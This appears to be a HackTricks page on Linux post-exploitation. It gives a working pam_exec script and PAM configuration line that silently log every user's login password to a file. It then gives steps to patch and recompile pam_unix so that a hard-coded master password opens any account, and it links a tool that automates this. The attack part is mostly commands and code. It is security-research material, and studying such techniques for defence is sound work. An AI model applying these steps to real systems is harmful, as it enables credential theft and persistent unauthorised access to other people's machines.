# Linux Post-Exploitation

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## Sniffing Logon Passwords with PAM

Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:

{% content-ref url="pam-pluggable-authentication-modules.md" %}
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
{% endcontent-ref %}

First, we create a bash script that will be invoked whenever a new authentication occurs.

```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
```

The variables are PAM specific and will become available via the `pam_exec.so` module.

Here is the meaning of the variables:

* **$PAM\_USER:** The username that was entered.
* **$PAM\_RHOST:** The remote host (typically the IP Address)
* **$(cat -):** This reads `stdin`, and will contain the password that the script grabs
* The results are piped into a log file at `/var/log/toomanysecrets.log`

To **prevent all users from reading** the file consider pre-creating it and running `chmod`, e.g.:

```bash
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
```

Next, the PAM configuration file needs to be updated the `pam_exec` module will be used to invoke the script.

There are various config files located in `/etc/pam.d/`, and we pick `common-auth`.

```
sudo nano /etc/pam.d/common-auth
```

On the very bottom of the file, add the following authentication module:

`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`

The options have the following meaning:

* **optional:** Authenticaiton shouldn’t fail if there is an error (it’s not a required step)
* **pam\_exec.so:** This is the living off the land PAM module that can invoke arbitrary scripts
* **expose\_authtok:** This is the trick that allows to read the password via `stdin`
* **quiet:** Don’t show any errors to the user (if something doesn’t work)
* The last argument is the shell script that was created previously

![](<../../.gitbook/assets/image (375).png>)

Finally, make the file executable:

`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`

Now, let’s try this out and ssh from another machine, or login locally.

And then look at the log file:

```
$ sudo cat /var/log/toomanysecrets.log
 Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
 Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
 Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
```

### Backdooring PAM

Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam\_unix\_auth.c file:

```
vi modules/pam_unix/pam_unix_auth.c
```

![](<../../.gitbook/assets/image (651).png>)

Let’s change this by:

![](<../../.gitbook/assets/image (638) (2) (2).png>)

This will allow any user using the **password "0xMitsurugi"** to log in.

Recompile the `pam_unix_auth.c`, end replace the pam\_unix.so file:

```bash
make
sudo cp \  
  /home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \  
  /lib/x86_64-linux-gnu/security/  
```

{% hint style="info" %}
You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
{% endhint %}

## References

* [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)
* [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)

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<summary><strong>Support HackTricks and get benefits!</strong></summary>

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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

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